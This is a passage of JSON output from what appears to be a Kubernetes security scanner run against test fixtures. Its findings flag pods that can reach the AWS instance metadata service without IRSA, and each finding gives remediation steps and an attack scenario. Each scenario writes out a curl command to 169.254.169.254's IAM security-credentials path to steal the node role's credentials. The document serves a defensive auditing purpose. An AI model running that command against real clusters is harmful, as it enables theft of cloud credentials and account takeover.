      "sa": "containersec-fixtures/default",
      "workload": "Deployment/containersec-fixtures/containersec-image"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:containersec-fixtures:containersec-lifecycle",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "containersec-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "containersec-lifecycle",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "containersec-fixtures/containersec-lifecycle",
      "reason": "no-egress-policy",
      "sa": "containersec-fixtures/default",
      "workload": "Deployment/containersec-fixtures/containersec-lifecycle"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:containersec-fixtures:containersec-limits",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "containersec-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "containersec-limits",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "containersec-fixtures/containersec-limits",
      "reason": "no-egress-policy",
      "sa": "containersec-fixtures/default",
      "workload": "Deployment/containersec-fixtures/containersec-limits"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:containersec-fixtures:containersec-probes",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "containersec-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "containersec-probes",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "containersec-fixtures/containersec-probes",
      "reason": "no-egress-policy",
      "sa": "containersec-fixtures/default",
      "workload": "Deployment/containersec-fixtures/containersec-probes"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:csr-fixtures:csr-mint-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-mint",
      "namespace": "csr-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "csr-mint-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "csr-fixtures/csr-mint-app",
      "reason": "no-egress-policy",
      "sa": "csr-fixtures/sa-csr-mint",
      "workload": "Deployment/csr-fixtures/csr-mint-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:csr-fixtures:csr-sign-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-sign",
      "namespace": "csr-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "csr-sign-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "csr-fixtures/csr-sign-app",
      "reason": "no-egress-policy",
      "sa": "csr-fixtures/sa-csr-sign",
      "workload": "Deployment/csr-fixtures/csr-sign-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:flat-network:api",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "flat-network"
    },
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "0.0.0.0/0",
      "pod": "flat-network/api",
      "reason": "explicit-allow",
      "sa": "flat-network/default",
      "workload": "Deployment/flat-network/api"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:flat-network:unmatched",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "flat-network"
    },
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "flat-network/unmatched",
      "reason": "no-egress-policy",
      "sa": "flat-network/default",
      "workload": "Deployment/flat-network/unmatched"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
